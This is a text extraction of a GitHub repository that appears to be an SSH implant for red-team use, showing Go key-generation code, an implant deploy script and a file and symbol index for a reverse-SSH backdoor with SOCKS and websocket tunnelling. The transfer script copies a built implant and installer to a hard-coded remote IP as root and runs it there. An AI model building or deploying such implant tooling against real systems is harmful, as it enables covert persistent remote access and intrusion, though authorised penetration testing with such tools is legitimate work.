func generatePrivateKey(bitSize int) (*rsa.PrivateKey, error) {
	// Private Key generation
	privateKey, err := rsa.GenerateKey(rand.Reader, bitSize)
	if err != nil {
		return nil, err
	}

	// Validate Private Key
	err = privateKey.Validate()
	if err != nil {
		return nil, err
	}

	log.Println("Private Key generated")
	return privateKey, nil
}

// encodePrivateKeyToPEM encodes Private Key from RSA to PEM format
func encodePrivateKeyToPEM(privateKey *rsa.PrivateKey) []byte {
	// Get ASN.1 DER format
	privDER := x509.MarshalPKCS1PrivateKey(privateKey)

	// pem.Block
	privBlock := pem.Block{
		Type:    "RSA PRIVATE KEY",
		Headers: nil,
		Bytes:   privDER,
	}

	// Private key in PEM format
	privatePEM := pem.EncodeToMemory(&privBlock)

	return privatePEM
}

// generatePublicKey takes a rsa.PublicKey and return bytes suitable for writing to .pub file
// returns in the format "ssh-rsa ..."
func generatePublicKey(privatekey *rsa.PublicKey) ([]byte, error) {
	publicRsaKey, err := ssh.NewPublicKey(privatekey)
	if err != nil {
		return nil, err
	}

	pubKeyBytes := ssh.MarshalAuthorizedKey(publicRsaKey)

	log.Println("Public key generated")
	return pubKeyBytes, nil
}

// writeKeyToFile writes keys to a file
func writeKeyToFile(keyBytes []byte, saveFileTo string) error {
	err := ioutil.WriteFile(saveFileTo, keyBytes, 0600)
	if err != nil {
		return err
	}

	log.Printf("Key saved to: %s", saveFileTo)
	return nil
}

// strToHash hashes a string
func strHash(key string) string {
	hasher := md5.New()
	hasher.Write([]byte(key))
	return hex.EncodeToString(hasher.Sum(nil))
}

// encBytes encrypts data with passphrase
func encBytes(data []byte, passphrase string) []byte {
	block, _ := aes.NewCipher([]byte(strHash(passphrase)))
	gcm, err := cipher.NewGCM(block)
	if err != nil {
		panic(err.Error())
	}
	nonce := make([]byte, gcm.NonceSize())
	if _, err = io.ReadFull(rand.Reader, nonce); err != nil {
		panic(err.Error())
	}
	ciphertext := gcm.Seal(nonce, nonce, data, nil)
	return ciphertext
}

func decBytes(data []byte, passphrase string) []byte {
	key := []byte(strHash(passphrase))
	block, err := aes.NewCipher(key)
	if err != nil {
		panic(err.Error())
	}
	gcm, err := cipher.NewGCM(block)
	if err != nil {
		panic(err.Error())
	}
	nonceSize := gcm.NonceSize()
	nonce, ciphertext := data[:nonceSize], data[nonceSize:]
	plaintext, err := gcm.Open(nil, nonce, ciphertext, nil)
	if err != nil {
		panic(err.Error())
	}
	return plaintext
}

func encBinToFile(filename string, data []byte, passphrase string) {
	f, _ := os.Create(filename)
	defer f.Close()
	f.Write(encBytes(data, passphrase))
}

func decBinFromFile(filename string, passphrase string) []byte {
	data, _ := ioutil.ReadFile(filename)
	return decBytes(data, passphrase)
}


================================================
FILE: tools/test_deploy.sh
================================================
#!/usr/bin/env bash
./tools/build_implant.sh  ./conf/build.profile
./tools/transfer_implant_keys.sh  ./out/4fa48c653682c3b04add14f434a3114/4fa48c653682c3b04add14f434a3114.tar.gz
#./tools/call_implant.py


================================================
FILE: tools/transfer_implant_keys.sh
================================================
#!/bin/bash

usage(){
   echo "$1"
   echo "$0 /path/<implant>.tar.gz"
   exit 1
}

if [[ $# -eq 0 ]]
then
    usage "need file"
fi

if [[  -f  $1 ]]
then
    source $1
else
    usage $0 "Cannot find implant data file"
fi


IMPLANTFILE=$1
_t=$(/usr/bin/basename -- "$1")
IMPLANTID="${_t%.*.*}"
IHOST=167.99.88.24
IUSER=root
IDIR="/tmp"
INSTALL_SCRIPT="./tools/install_implant.sh"

echo "Copying ${IMPLANT_FILE} and ${INSTALL_SCRIPT} to ${IHOST}"
scp $IMPLANTFILE ${INSTALL_SCRIPT} ${IUSER}@${IHOST}:${IDIR}

echo "Deleting remote user: ${IMPLANTID}"
ssh -tt ${IUSER}@${IHOST} userdel -r ${IMPLANTID}

echo "Installing: ${IMPLANTID}"
ssh -tt ${IUSER}@${IHOST} ${IDIR}/install_implant.sh ${IDIR}/${IMPLANTID}.tar.gz

Download .txt
gitextract_a4fzm16i/

├── .gitignore
├── LICENSE.md
├── README.md
├── conf/
│   └── build.profile
├── infra/
│   ├── gencert.sh
│   ├── squid.conf
│   └── wss2ssh_tun.sh
├── keys/
│   ├── sslcert.pem
│   └── sslkey.pem
├── src/
│   ├── keymgmt.go
│   ├── pty.go
│   ├── rssh.go
│   ├── socksport.go
│   ├── traffic.go
│   ├── types.go
│   └── vars.go
└── tools/
    ├── build_implant.sh
    ├── call_implant_daemon.py
    ├── install_implant.sh
    ├── keygen.go
    ├── test_deploy.sh
    └── transfer_implant_keys.sh
Download .txt
SYMBOL INDEX (39 symbols across 8 files)

FILE: src/keymgmt.go
  function KeyDecrypt (line 12) | func KeyDecrypt(data []byte, passphrase string) []byte {
  function KeyCreateHash (line 32) | func KeyCreateHash(key string) string {

FILE: src/pty.go
  function parseDims (line 11) | func parseDims(b []byte) (uint32, uint32) {
  type Winsize (line 18) | type Winsize struct
  function SetWinsize (line 26) | func SetWinsize(fd uintptr, w, h uint32) {

FILE: src/rssh.go
  function entry (line 34) | func entry() int {
  function main (line 39) | func main() {
  function getSSHKeyHTTP (line 155) | func getSSHKeyHTTP() ([]byte, error) {
  function b64ToBytes (line 179) | func b64ToBytes(b64 string) ([]byte, error) {
  function doit (line 189) | func doit() {
  function savePID (line 378) | func savePID(pid int) {

FILE: src/socksport.go
  function handleSConn (line 13) | func handleSConn(local net.Conn) {
  function transfer (line 154) | func transfer(in, out net.Conn) {

FILE: src/traffic.go
  function listenConnection (line 22) | func listenConnection(client net.Conn, config *ssh.ServerConfig) {
  function listenSConnection (line 44) | func listenSConnection(SClientConn net.Conn) {
  function acceptLoop (line 48) | func acceptLoop(listener net.Listener, config *ssh.ServerConfig) {
  function acceptSLoop (line 61) | func acceptSLoop(listener net.Listener) {
  function handleRequests (line 81) | func handleRequests(reqs <-chan *ssh.Request) {
  function PtyRun (line 90) | func PtyRun(c *exec.Cmd, tty *os.File) (err error) {
  function handleChannels (line 102) | func handleChannels(chans <-chan ssh.NewChannel) {
  function NewWebSocketConn (line 271) | func NewWebSocketConn(websocketConn *websocket.Conn) net.Conn {
  method Read (line 280) | func (c *wsConn) Read(dst []byte) (int, error) {
  method Write (line 314) | func (c *wsConn) Write(b []byte) (int, error) {
  method SetDeadline (line 322) | func (c *wsConn) SetDeadline(t time.Time) error {

FILE: src/types.go
  type Endpoint (line 11) | type Endpoint struct
    method String (line 16) | func (endpoint *Endpoint) String() string {
  type wsConn (line 21) | type wsConn struct

FILE: tools/call_implant_daemon.py
  function irun (line 8) | def irun(path_implant, itype):
  function daemonize (line 26) | def daemonize(idir):

FILE: tools/keygen.go
  function main (line 27) | func main() {
  function generatePrivateKey (line 90) | func generatePrivateKey(bitSize int) (*rsa.PrivateKey, error) {
  function encodePrivateKeyToPEM (line 108) | func encodePrivateKeyToPEM(privateKey *rsa.PrivateKey) []byte {
  function generatePublicKey (line 127) | func generatePublicKey(privatekey *rsa.PublicKey) ([]byte, error) {
  function writeKeyToFile (line 140) | func writeKeyToFile(keyBytes []byte, saveFileTo string) error {
  function strHash (line 151) | func strHash(key string) string {
  function encBytes (line 158) | func encBytes(data []byte, passphrase string) []byte {
  function decBytes (line 172) | func decBytes(data []byte, passphrase string) []byte {
  function encBinToFile (line 191) | func encBinToFile(filename string, data []byte, passphrase string) {
  function decBinFromFile (line 197) | func decBinFromFile(filename string, passphrase string) []byte {
Condensed preview — 22 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (68K chars).
[
  {
    "path": ".gitignore",
    "chars": 23,
    "preview": "out/\n.ssh/\n.idea/\naux/\n"
  },
  {
    "path": "LICENSE.md",
    "chars": 1050,
    "preview": "The MIT License (MIT)\n---\n\nPermission is hereby granted, free of charge, to any person obtaining a copy of this software"
  },
  {
    "path": "README.md",
    "chars": 533,
    "preview": "\n\n<a href=\"https://www.ibm.com/security/services/offensive-security-services\"><img src=\"https://github.com/dsnezhkov/SSH"
  },
  {
    "path": "conf/build.profile",
    "chars": 7418,
    "preview": "\n#####################################################################################################\n#\n#       SSHoRTT"
  },
  {
    "path": "infra/gencert.sh",
    "chars": 322,
    "preview": "#!/usr/bin/env bash\n\nDBASE=\"/opt/sshorty\"\nDKEYS=\"${DBASE}/keys\"\n\necho \"[+] Generating SSL Keys\"\nopenssl req -x509 -nodes"
  },
  {
    "path": "infra/squid.conf",
    "chars": 3397,
    "preview": "#\n# Recommended minimum configuration:\n#\n\nauth_param basic program /usr/lib/squid3/basic_ncsa_auth /etc/squid/passwords\n"
  },
  {
    "path": "infra/wss2ssh_tun.sh",
    "chars": 354,
    "preview": "#!/usr/bin/env bash\n\n# DESTINATION_SSH_ADDR=167.99.88.24\nDESTINATION_SSH_ADDR=127.0.0.1\nDESTINATION_SSH_PORT=222\nWSS_LPO"
  },
  {
    "path": "keys/sslcert.pem",
    "chars": 1245,
    "preview": "-----BEGIN CERTIFICATE-----\nMIIDajCCAlICCQCia/YFAUv+8TANBgkqhkiG9w0BAQsFADB3MQswCQYDVQQGEwJH\nQjEPMA0GA1UECAwGTG9uZG9uMQ8"
  },
  {
    "path": "keys/sslkey.pem",
    "chars": 1704,
    "preview": "-----BEGIN PRIVATE KEY-----\nMIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQD2B+h4l0BmWIXL\nK4n9EjXeSbT/Vg3imwDY3RFRsk/"
  },
  {
    "path": "src/keymgmt.go",
    "chars": 814,
    "preview": "package main\n\nimport (\n\t\"crypto/aes\"\n\t\"crypto/cipher\"\n\t\"crypto/md5\"\n\t\"encoding/hex\"\n)\n\n// Decrypts an AES blob by applyi"
  },
  {
    "path": "src/pty.go",
    "chars": 717,
    "preview": "package main\n\nimport (\n\t\"encoding/binary\"\n\t\"log\"\n\t\"syscall\"\n\t\"unsafe\"\n)\n\n// parseDims extracts two uint32s from the prov"
  },
  {
    "path": "src/rssh.go",
    "chars": 10332,
    "preview": "/*\n\tSSH implant\n*/\n\npackage main\n\nimport (\n\t\"C\"\n\t\"crypto/tls\"\n\t\"encoding/base64\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"net/http\"\n"
  },
  {
    "path": "src/socksport.go",
    "chars": 5889,
    "preview": "package main\n\nimport (\n\t\"bytes\"\n\t\"encoding/binary\"\n\t\"io\"\n\t\"log\"\n\t\"net\"\n\t\"sync\"\n)\n\n// handleSConn handles the SOCKS on th"
  },
  {
    "path": "src/traffic.go",
    "chars": 8221,
    "preview": "package main\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"net\"\n\t\"os\"\n\t\"os/exec\"\n\t\"sync\"\n\t\"syscall\"\n\t\"time\"\n\n\t\"github.com"
  },
  {
    "path": "src/types.go",
    "chars": 344,
    "preview": "package main\n\nimport (\n\t\"fmt\"\n\t\"github.com/gorilla/websocket\"\n)\n\n// Implant Types\n\n// Endpoint: address:port\ntype Endpoi"
  },
  {
    "path": "src/vars.go",
    "chars": 1713,
    "preview": "package main\n\nimport \"sync\"\n\n// Global vars\nvar connections = new(sync.WaitGroup)\n\n// LD_FLAGS' modifiable constants\nvar"
  },
  {
    "path": "tools/build_implant.sh",
    "chars": 8221,
    "preview": "#!/bin/bash\n\nusage(){\n    echo \"Message: $2\\n\"\n    echo \"Usage: $1 [build.profile]\\n\"\n    exit 1\n}\n\n\nif [[ $# -eq 0 ]]\nt"
  },
  {
    "path": "tools/call_implant_daemon.py",
    "chars": 1704,
    "preview": "#!/usr/bin/env python3\nimport sys\nimport os\nimport subprocess\nfrom ctypes import *\n\n\ndef irun(path_implant, itype):\n    "
  },
  {
    "path": "tools/install_implant.sh",
    "chars": 1664,
    "preview": "#!/bin/bash\n\n#\n#\n# Build assumes Linux infra\n#\n#\n#\nusage(){\n   echo \"$0 /path/<implant>.tar.gz\"\n   exit 1\n}\n\nAGENT_PKG=\""
  },
  {
    "path": "tools/keygen.go",
    "chars": 5051,
    "preview": "// Ideas from:\n// https://gist.githubusercontent.com/devinodaniel/8f9b8a4f31573f428f29ec0e884e6673/raw/d4d4495db6fcc6cce"
  },
  {
    "path": "tools/test_deploy.sh",
    "chars": 203,
    "preview": "#!/usr/bin/env bash\n./tools/build_implant.sh  ./conf/build.profile\n./tools/transfer_implant_keys.sh  ./out/4fa48c653682c"
  },
  {
    "path": "tools/transfer_implant_keys.sh",
    "chars": 715,
    "preview": "#!/bin/bash\n\nusage(){\n   echo \"$1\"\n   echo \"$0 /path/<implant>.tar.gz\"\n   exit 1\n}\n\nif [[ $# -eq 0 ]]\nthen\n    usage \"ne"
  }
]

About this extraction

This page contains the full source code of the dsnezhkov/SSHoRTy GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 22 files (60.2 KB), approximately 19.0k tokens, and a symbol index with 39 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!